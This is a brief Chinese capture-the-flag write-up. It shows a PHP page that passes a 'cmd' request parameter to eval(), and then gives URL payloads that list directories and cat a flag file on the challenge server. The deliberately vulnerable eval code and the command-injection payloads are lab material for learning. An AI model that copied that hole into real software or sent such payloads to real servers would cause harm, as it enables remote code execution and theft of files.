访问目标地址:
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(FILE);
}
?>
根据PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!
![](https://file.jishuzhan.net/article/1723909237878296577/d122600e53c213aebd551654ab142077.webp)
没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!
![](https://file.jishuzhan.net/article/1723909237878296577/894915159f6d6a60f2641afc9674d42d.webp)
打开flag文件发现FLAG /?cmd=system("cat /flag_8668");
!切记最后的分号不可省略!
![](https://file.jishuzhan.net/article/1723909237878296577/7526a51d941df5c81a560ccf5ff99c00.webp)